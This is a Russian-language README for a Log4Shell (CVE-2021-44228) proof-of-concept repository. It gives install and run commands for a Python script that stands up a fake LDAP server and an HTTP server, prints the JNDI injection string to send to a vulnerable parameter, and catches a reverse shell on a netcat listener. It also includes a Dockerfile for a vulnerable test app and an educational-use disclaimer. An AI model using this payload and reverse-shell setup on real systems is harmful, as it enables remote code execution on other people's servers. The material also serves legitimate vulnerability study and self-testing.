
Эксплуатационный PoC для CVE-2021-44228 (Log4Shell) с автоматической настройкой LDAP/HTTP-сервера и генерацией полезной нагрузки обратного шелла для образовательного тестирования.
Доказательство концепции для недавно обнаруженной уязвимости CVE-2021-44228.
Недавно была обнаружена новая уязвимость в log4j, библиотеке журналирования Java, которая широко используется в таких проектах, как elasticsearch, minecraft и многих других.
В этом репозитории представлены пример уязвимого приложения и эксплойт-доказательство концепции (POC) для него.
В качестве PoC есть файл Python, который автоматизирует процесс.
pip install -r requirements.txt
nc -lvnp <netcat-port=пример=2034>
jdk1.8.0_20 и находиться в той же директории.$ python3 poc.py --userip <ваш-ip-адрес> --webport <порт-веб-сервера=по-умолчанию=8000> --lport <порт-прослушивания-netcat=по-умолчанию=2034>
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<ваш-ip-адрес>:1389/a}
Listening on 0.0.0.0:1389
Этот скрипт настроит HTTP-сервер и LDAP-сервер для вас, а также создаст нагрузку, которую можно вставить в уязвимый параметр. После этого, если всё прошло успешно, вы должны получить оболочку на указанном порту.
В репозитории есть Dockerfile с уязвимым веб-приложением. Вы можете использовать его, следуя инструкциям ниже:
1: docker build -t log4j-shell-poc .
2: docker run -p 8080:8080 log4j-shell-poc
После запуска вы можете получить к нему доступ по адресу localhost:8080
Примечание: Вам необходимо зарегистрироваться, чтобы скачать пакет.
После загрузки и извлечения архива вы найдете java и несколько связанных бинарных файлов в jdk1.8.0_20/bin.
Примечание: Убедитесь, что вы извлекли папку jdk в этот репозиторий с тем же именем, чтобы всё работало.
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Этот репозиторий не предназначен для того, чтобы быть эксплойтом в один клик для CVE-2021-44228. Цель этого проекта — помочь людям изучить эту уязвимость и, возможно, протестировать свои собственные приложения (однако существуют более подходящие приложения для этой цели, например: https://log4shell.tools/).